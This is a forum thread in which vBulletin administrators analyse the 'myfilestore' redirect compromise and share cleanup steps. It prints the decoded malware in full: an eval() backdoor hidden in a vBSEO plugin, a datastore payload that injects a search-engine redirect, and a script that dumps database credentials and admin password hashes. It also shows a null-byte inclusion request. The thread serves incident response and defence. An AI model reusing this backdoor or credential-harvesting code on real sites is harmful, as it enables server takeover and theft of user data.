Vbulletin myfilestore hack - Find the traces and remove them

vbimport

#1

For our Myce members - This post is to inform fellow Vbulletin owners with information from a hack we suffered from. This should not have affected our users.

We have been working hard together with fellow forum owners in solving a redirection issue that seems to be infecting thousands of Vbulletin sites. Instead of giving you the usual advice, we have been able to trace back most of the works of this malware and provide some real working fixes.

Please link to this thread so it gets on top in Google and makes sure we help a lot of other Vbulletin owners!

Index

[ol]
[li]What happens?
[/li][li]How to find out if you are infected?
[/li][li]What do they do?
[/li][li]How do they get access to your admincp?
[/li][li]What countermeasures can be taken?
[/li][li]Remaining questions
[/li][/ol]

What happens?

If people come from search engines like Google, Bing, Yahoo, Yandex, Rambler or Baidu they end up on another site than yours. They are redirected to any of these sites (please tell us when one is missing)

[ul]
[li]myfilestore.com
[/li][li]filestore72.info
[/li][li]file2store.info
[/li][li]url2short.info
[/li][li]filestore123.info
[/li][li]url123.info
[/li][li]dollarade.com
[/li][/ul]

myfilestore.com and related sites

These websites appear to be affiliate sites that let’s you download something. Most likely once the installation is done the ‘hackers’ will receive a fee or they try to infect people with malware. It’s always a good idea to do additional virus scanning when you’ve ended up on that page. We’ve also submitted the domains to Google which will hopefully take measures.

How to find out your forum is infected?

Most likely your visitors will report that they are redirected to another site when trying to visit your site from search engines. They will likely note one of the sites in the list above.

To reproduce yourself:

[ol]
[li]Open a private/incognito window in your browser or clear cache and cookies
[/li][li]Go to either Google, Bing, Yahoo, Yandex, Rambler or Baidu
[/li][li]Search for a term of which you know your site will appear in the search engine
[/li][li]Click a result
[/li][li]If nothing happens, it might be wise to try a couple of times to be sure you’re not infected
[/li][/ol]

Besides that, check your datastore:

[ul]
[li]If you’re using a file based datastore then get it from /includes/datastore/datastore_cache.php
[/li][li]In the database, table datastore and field pluginslist
[/li][/ul]

In either one, best to even check both, search for strange code, think about long strings containing random characters, hashes or anything else unusual. The code injected to our site was this:


$o = 'b5e20b9bb877342f907b745fdd1f42bd';
$vbg = '<LONG LINE OF ENCODED CRAP WHICH WE REMOVED FOR READABILITY>;
$xml = '$z#rB&_K=ZN;Es4tA6xgw/dof05eU~`:[k3{^ycF}&lt;JbqGM7V!1au,l*.+H8@%j(&gt;C9YT)PR?"X-pQni]LDmO|W2vISh';
$xml2 = '&sL8VZ`g[c+4]N~l3.:0}XwtB>=iebv/FJ*RP,6HO2(?Q_EjK7;9oTh@SYC!5rf)U1{nz#dkmGau^yp$<|M%DW-qI"xA';
$as = '#c#'.substr($vbg, 365, 1);
$vbt = preg_replace($as, strtr($vbg, $xml, $xml2), 'css');

The criminals also seem to inject code in plugins. It’s a bit hard to find it and they appear to use different methods. It’s very important however that you find this, with their code they have your site under full control.

Plugin code we found so far

By going through all hooks in misc.php we found that in this file there are only hooks that start with ‘misc’.

We went in the plugin manager and searched for plugins that hook into anything start with ‘misc’. In our installation there were only six. By manually opening them we found out that in the plugin ‘vBSEO Misc Start’ that hooks into ‘misc_start’ the following code was inserted:

if(defined('VBSEO_ENABLED')) { 
vbseo_complete_sec('misc_start'); 
} 
if(isset($_REQUEST['e']) && $_REQUEST['do'] == 'config') { 
eval($_REQUEST['e']); 
die(); 
}  

This means that our server is wide open to hackers. The eval() command can be used to excute any PHP code on our servers and this code could be fed to eval() by adding some <?php ?> wrapped code to the ‘e’ parameter.

While we’re not sure if we closed the loophole completely. This code is the first thing to disable. You can remove the last 4 lines completely or just comment out the eval line. We added a nice surprise for the hackers if they are calling it again.

An another plugin, reported by Scott. We don’t immediately understand why they add this as the code doesn’t seem to be harmfull.

if(preg_match("/image|do=|dateline/i",$_ENV['REQUEST_URI']) || isset($_ENV['QUERY_STRING']) || isset($_POST)) { } else { ob_start(); ob_implicit_flush(1); flush(); ob_flush();   

The code they add to the plugins/datastore was decoded and looked like this:

$q='ini_set';
if(function_exists($q))
{
	$q('display_errors',0);
	$q('log_errors',0);
}

if(isset($_POST[$o]))
	eval(base64_decode(str_rot13($_POST[$o])));

$u=@preg_match('#bot|spider|crawl|slurp|yandex#i',$_SERVER['HTTP_USER_AGENT']);
$s=@parse_url($_SERVER['HTTP_REFERER']);
$t=@$s['host'];
$r=@preg_match('#live\.com|google\.|yahoo\.|bing.com|yandex\.ru|rambler\.ru|baidu\.#i',$t);
$h=@$_SERVER['HTTP_HOST'];
$p=@COOKIE_PREFIX;
$a=@THIS_SCRIPT==='misc';
$c=$p.'lastvisit';
$n=$p.'lang_id';
$y=@ord(FILE_VERSION)>51;
$z=empty($_SERVER['HTTP_X_MOZ']);
$j='<script type="text/javascript" src="'.$vbulletin->options['bburl'].'/misc.php?v='.$vbulletin->options['simpleversion'].'&g=js"></script>';

if(empty($_COOKIE[$n]))
{
	if($a && isset($_GET['v']) && (isset($_GET['g'])) && (!empty($_COOKIE[$c])))
	{
		if($t==$h)
		{
			if($z)
				setcookie($n,'en',time()+36000);
			$m=substr(md5($h),0,8);
			print("document.location='h**p://my****store.com/download.php?id={$m}'");
		}
		exit;
	}
	if((!$u) && $r)
	{
		if($y)
		{
			$GLOBALS['template_hook']['headinclude_javascript'].=$j;
		}
		else
		{
			$GLOBALS['style']['css'].=$j;
		}
	}
}

This means we found out what the redirect caused. We recovered by saving some settings again which made the datastore to refresh and it was gone.

Besides the changes to the datastore and the plugins, we also found out that they are posting long strings of encoded data to sites. This looks like this:


$_POST['<SOME KIND OF HASH>'] = 'MJAbolOgMQHbWmWwLmV3Mw ... < ENCODED CRAP ONE AGAIN > ... yzZGWuAmL1BQp5MQt5Z2D4Z2R2Z2MxMQSuWl.....';  

And here’s the decoded code, don’t get scared! We decoded it using

echo(base64_decode(str_rot13('encrypted string')));  

(credits ovk)


echo md5('3c4eb64c8db01a5ab261e18fdc16089e');$oa=array('ecnt'=>0);function weh($en, $es, $ef, $el){global $oa;$oa['e'][]=array($en,$es,$ef,$el);};set_error_handler('weh');ini_set('log_errors',0);ob_start();
gtadmndtas();
 
function gtadmndtas()
{
    $out = $bf = $h = '';
    $ag = array();
     
    if(is_file('includes/config.php'))
    {
        include('includes/config.php');
        if(is_file('vbseo/resources/xml/config.xml'))
        {
            $bf = @file_get_contents('vbseo/resources/xml/config.xml');
        }
    }
    elseif(is_file('config.php'))
    {
        include('config.php');
        if(is_file('../vbseo/resources/xml/config.xml'))
        {
            $bf = @file_get_contents('../vbseo/resources/xml/config.xml');
        }
    }
    else
    {
        echo "BD error: config not found
";
        return;
    }
     
    if(!empty($bf))
    {
        $a = strpos($bf, '<name>VBSEO_ADMIN_PASSWORD</name>');
        if($a !== false)
        {
            $a = strpos($bf, '<value>', $a + 10);
            $b = strpos($bf, '</value>', $a + 7);
            if(($a !== false) && ($b !== false))
            {
                $h = substr($bf, $a + 7, $b - $a - 7);
            }
        }
    }
     
    $out .= "---------------=-=pong1234321=-=--------------------------<br>
";
    if(!empty($h))
    {
        $out .= "VBSH: {$h}<br>
";
    }
    $out .= "ACP: {$config['Misc']['admincpdir']}<br>
";
    $out .= "dbtype: {$config['Database']['dbtype']}<br>
";
    $out .= "servername: {$config['MasterServer']['servername']}<br>
";
    $out .= "port: {$config['MasterServer']['port']}<br>
";
    $out .= "dbname: {$config['Database']['dbname']}<br>
";
    $out .= "username: {$config['MasterServer']['username']}<br>
";
    $out .= "password: {$config['MasterServer']['password']}<br>
";
    $out .= "tableprefix: {$config['Database']['tableprefix']}<br>
";
    $out .= "technicalemail: {$config['Database']['technicalemail']}<br>
";
    $out .= "-----------------------------------------<br>
";
     
    echo $out;
    $out = '';
    $gt = "{$config['Database']['tableprefix']}usergroup";
    $mt = "{$config['Database']['tableprefix']}user";
     
    $mysql_conn = mysql_connect("{$config['MasterServer']['servername']}:{$config['MasterServer']['port']}", $config['MasterServer']['username'], $config['MasterServer']['password']);
    if(!$mysql_conn)
    {
        echo "Mysql login failed!";
        return;
    }
     
    if(!mysql_select_db($config['Database']['dbname'], $mysql_conn))
    {
        echo "Mysql database selection failed!";
        return;
    }
 
    $sql = "SELECT usergroupid FROM $gt WHERE adminpermissions>1";
    $res = mysql_query($sql);
    if(!$res)
    {
        $err = mysql_error($mysql_conn);
        echo "Mysql query failed: $err";
        return;
    }
     
    while($row = mysql_fetch_assoc($res))
    {
        $ag[] = intval($row['usergroupid']);
    }
     
    $ags = implode(',',$ag);
    $sql = "SELECT userid,username,email,usergroupid,password,salt FROM $mt WHERE usergroupid IN ($ags)";
    $res = mysql_query($sql);
    if(!$res)
    {
        $err = mysql_error($mysql_conn);
        echo "Mysql query failed: $err";
        return;
    }
     
    while($row = mysql_fetch_assoc($res))
    {
        $data = implode("|:|", $row);
        $data = htmlentities($data);
        $out .= "$data<br>
";
    }
     
    $out .= "-----------------------------------------
<br>
";
    echo $out;
    $out = '';
}
$out=ob_get_contents();ob_end_clean();$oa['d'][0]=$out;$out=serialize($oa);$out=gzcompress($out,9);$out=base64_encode($out);$out=str_replace('=','',$out);$out=str_rot13($out);echo($out);echo md5('117ae4783ac97ecf30b2419315518cd1');exit;

Or pastebin for increased readbililty: http://pastebin.com/cCd72uZN

What do they do?

We think this is it how they do it:

[ol]
[li]Get access to the admin panel (see below)
[/li][li]Add data to a plugin, both a method to open your entire server to them and the code that inserts javascript on your site and causes the redirection
[/li][li]With this in place, they POST another encrypted string that executes code that reveals passwords etc and allows them to compromise whatever they want
[/li][/ol]

How do they get access to your admin panel

This part is still a bit guessing but we found some strange URLs being called on our server, we expect that they have more methods, but we can confirm at least one strange thing.

They request URLs like this:


adminhash = ************************* 
128.2.142.104 160971 - [17/Apr/2013:16:19:43 +0200] "POST /?vbseourl%00=admincp/plugin.php" 

Which seem to make use of an arbitrary PHP file inclusion issue:

http://www.madirish.net/397

What countermeasures can be taken?

The good news, A LOT!

Credits to ovk

Add this at the top of your yourforum/misc.php

if($_GET['g']=='js') die;  

This doesn’t stop the actual hack, but stops the redirects. This prevents the javascript to execute. It’s possible that they change variable names, so check your injected code if it’s [‘g’] or another character.

Credits to Liggy

[ul]
[li]Change the passwords of ALL users that have access to the admin panel or demote them to regular users until you know that they have changed their password. Since the hacker may have access to the users account, a confirmation via Instant Messenger would be best as the hacker could send a PM or fake the sender address of an email
[/li][li]In the admin panel go to Plugins&Products -> Plugin Manager and check everything that is hooked at misc_start for a code that contains eval($_REQUEST. In our forum that code was inserted into vBSEO Misc Start. They are trying to hide their traces by adding lots of empty lines which will not show their code unless you scroll down. This particular plugin (in the version we have) should only contain the following two lines[/li]```php
if(defined(‘VBSEO_ENABLED’))
vbseo_complete_sec(‘misc_start’);


[li]Go back to Plugin Manager, scroll to the end of the page and click [B]Save Active Status[/B]. This should remove traces from the [B]pluginlist[/B] entry in the [B]datastore[/B] table.
[/li][li]This step may be optional with the previous one, but just to be sure go to [B]vBulletin Options[/B]->[B]vBulletin Options[/B]->[B]User Banning options[/B] and click [B]Save[/B] without changing anything. This should update the [B]datastore_cache.php[/B] file
[/li][li]If possible, limit the access to your Admin Panel with an additional web server password using e.g. a .htaccess file and provide your admins with the login details.
[/li][/ul]

To verify that there are no traces of the exploit left in your current installation, first take a look at your database. Search the [B]data[/B] column in table [B]datastore[/B] for the text [B]strtr[/B]. ([I]SELECT * FROM datastore WHERE data LIKE '%strtr%'[/I]) - Future exploits may however use different ways of running their code - no universal method available.

Next check is looking at table [B]adminutil[/B] if the entry with title [B]datastore[/B] contains the text [B]strtr[/B].

Last step is checking file [B]includes/datastore/datastore_cache.php[/B] for text [B]strtr[/B].

[B]Credits to Liggy [/B]

Also add this code at the beginning of yourforum/vbseo.php


```php

if (strpos($_SERVER["QUERY_STRING"],'%00')) 
    die;  
Edit:

You may also send them some greetings like we did :bigsmile:

Remaining questions

[ul]
[li]Did they get access to the admincp using an exploit/backdoor?
[/li][li]Did they get access by compromising an admin account, and how?
[/li][li]Are our counter measures succesful or will we face another attempt?
[/li][/ul]

Bonus material

If you kept reading, well done! You might want to add some logging to see what’s going on and help in our quest to find out everything. Here’s some code that you can add to yourforum/includes/config.php

function DumpToLog($DoPost=false)
{
	$logfile=@fopen('{Enter your path here}' . date('Ymd') . '.log',"a");
	if ($logfile)
	{
		if ($_COOKIE["bbuserid"])
			$bbuser=$_COOKIE["bbuserid"];
		else
			$bbuser='-';
		if (isset($_SERVER["REMOTE_USER"]))
			$ruser=$_SERVER["REMOTE_USER"];
		else
			$ruser='-';

		fprintf(
		  $logfile,'%s %s %s [%s] "%s %s"%s',
		  $_SERVER['REMOTE_ADDR'],$bbuser,$ruser,date('d/M/Y:H:i:s O'),$_SERVER["REQUEST_METHOD"],$_SERVER["REQUEST_URI"],"
"
		  );


		if ($DoPost && ($_SERVER["REQUEST_METHOD"]=="POST"))
		{
			echo "POST data:
";
			foreach($_POST as $postvar=>$postvalue)
				fprintf($logfile,"%s = %s
",$postvar,$postvalue);
		}

		fclose($logfile);
	}
}

DumpToLog(false);

You can change the call from DumpToLog(false) to DumpToLog(true) to also log the POST variables. However this can lead to very big log sizes and add sensitive data like passwords or password hashes to the log file.

(Once again, credits to Liggy!)

Please, if you’re reading this and can provide us with additional information, REGISTER and post additional information, also questions are welcome.

Your questions might give us an additional path to trace down the origin of this hack.


#2

Hello,

thank you for this thread, my site was also hit by this trojan and for the last few days I’ve been (unsuccessfully so far) trying to find the root of the attack.
While on my board I didn’t find the modified misc_start plugin, I did find a different version of the encrypted code you posted in the pluginlist datastore record.
Consisting of a few assigns and a preg_replace, I don’t really understand how that code becomes an eval() but it does seem to cause the redirect by adding a <script> tag in the site’s header pointing to misc.php?v=413&g=js that outputs a document.location statement.
Of course, removing that code from the datastore is very simple by opening and saving any plugin but after some time (about 12 hours) the code comes back, that means that my site has a yet undetected backdoor that is used to inject the code in the datastore.

Until I find a permanent solution, I have stopped the redirections by adding this line of code on the first line of misc.php:

if(($_GET['g']=='js') die;

This way, even if the <script> is injected, it doesn’t do anything.


#3

I’m just glad we’ve got such experts on the case as that looks very complicated to trace. :eek:

[B]Wombler[/B]


#4

Hi ovk, thanks for your report. Maybe we can hook up and work together on getting this down? I would also like to write a script to detect it, but we already thought it might be useless as the infection seems to change a lot. All we can do now is manual checks. But if we can find something that is common it could help.

If you like, send me a PM with your e-mail address and we can hook up (or your skypename if you use it…)


#5

We were hit again, the code return and our trap wasn’t used. This will be another day of investigations…


#6

Hi

my e-mail addy is the one I used to create my profile here.
I’ll keep you posted with updates here nevertheless.
For now I have removed the code from the datastore and started sniffing http requests using tcpdump.
Hopefully when the malicious code gets re-inserted in the datastore I’ll have some detail on how it was done in the tcpdump logs.

I strongly believe it has something to do with vbseo even if they deny it on their forums.


#7

Yesterday it helped to rebuild the datastore by applying user banning options again, today this does not help. So it also seems to be hidden somewhere else.


#8

I wonder if a scheduled process was planted. For example, if the time stamp of the modified php file always ends in let’s say ‘:19’ every time it gets hit again, this would indicate a possible scheduled process sitting on our server reinfecting the file.

Wish you all the best solving this.


#9

Yeah it sounds like a real pain this one.

Time consuming too. :rolleyes:

[B]Wombler[/B]


#10

Found that crap in the [B]pluginlist[/B] entry in table [B]datastore[/B] too. Looking at the details around this code, it should have come from vBSEO hook location [B]cache_template[/B] / title [B]vBSEO Cache Templates[/B], but looking at it in the admin panel, it only contained the standard

if(defined('VBSEO_ENABLED'))
vbseo_complete_sec('cache_templates');

Saving that one unmodified, removed it from the table. Next step was saving the current user banning settings which re-created the datastore cache and also removed it from the [B]datastore_cache.php[/B] file - let’s wait how long it takes to come back this time.


#11

@Liggy, in the database, before the hashes they insert, there was also a lot of whitespace. I thought maybe they want to hide the code somewhere in a plugin, so if you look at it in the admincp you don’t see it in the input box because you would need to scroll a lot. But I couldn’t find any trace of this :wink:


#12

We also found two images in /images/misc trying to confirm if this is ours or was uploaded by the hackers.


#13

These images were mine. I was trying something, but don’t remember what. :o


#14

Liggy just found out that they had access to an admin account. Someone who didn’t login for a long time. Probably because that would go unnoticed for a while…


#15

I wrote a small routine to generate a custom logfile and added the code to config.php so it’s executed every time a forum routine is called.

function DumpToLog()
{
    $logfile=@fopen('{Enter your path here}' . date('Ymd') . '.log',"a");
    if ($logfile)
    {
        if ($_COOKIE["bbuserid"])
            $bbuser=$_COOKIE["bbuserid"];
        else
            $bbuser='-';
        if (isset($_SERVER["REMOTE_USER"]))
            $ruser=$_SERVER["REMOTE_USER"];
        else
            $ruser='-';

        fprintf(
          $logfile,'%s %s %s [%s] "%s %s"%s',
          $_SERVER['REMOTE_ADDR'],$bbuser,$ruser,date('d/M/Y:H:i:s O'),$_SERVER["REQUEST_METHOD"],$_SERVER["REQUEST_URI"],"
"
          );
        fclose($logfile);
    }       
}

DumpToLog();

It doesn’t verify the password for the user - but for logging this kind of problems, that should be sufficient. Before adding the code, make sure to add your logging path and that it provides enough disk space. If you comment the DumpToLog() here and add it to different (suspicious) routines, you can reduce the log size, but potentially miss calls you should have logged.


#16

I confirm that the bot that inserted this code into my datastore also had access to one of my administrator’s account. It still doesn’t explain alot of things and I strongly believe that it’s not the root of our problem.

Still investigating:cop:


#17

Looks like a right little smegger with all the re-infections, nice job with the investigating guys :flower:


#18

[QUOTE=DoMiN8ToR;2684703]Liggy just found out that they had access to an admin account. Someone who didn’t login for a long time. Probably because that would go unnoticed for a while…[/QUOTE]

That’s not great news but at least Liggy found it and has taken action.

[B]Wombler[/B]


#19

I google and found this thread, I joined just to post in this thread. The crapy “myfilestore” hack has been giving me a fit for over a year now and no one knows how or what to do. If you google it you will see vBulletin says its not them, vBseo says its not them. I don’t know but I sure as hell hope you guys figure it out.

Like I said its been messing with my boards for over a year and its costing me money just from the drop of daily visitors to my board that come through a search engine.

I am at my ends with this hack that. All I have been doing every damn day is disabling and enabling a produce and the hack is gone for a few hours.

My bad is I stepped out of line on your board, that was not my intent, I am just so frustrated with this hack.


#20

FYI WHM/cPanel can’t be part of this since my servers have no control panel installed at all.

Also I ran across this just a few minuets ago and just thought I would through it out here.

http://www.vbseo.com/blogs/rafael-benard/introduction-security-basics-123filestore-url123-redirection-issues-what-caused-how-prevent-361/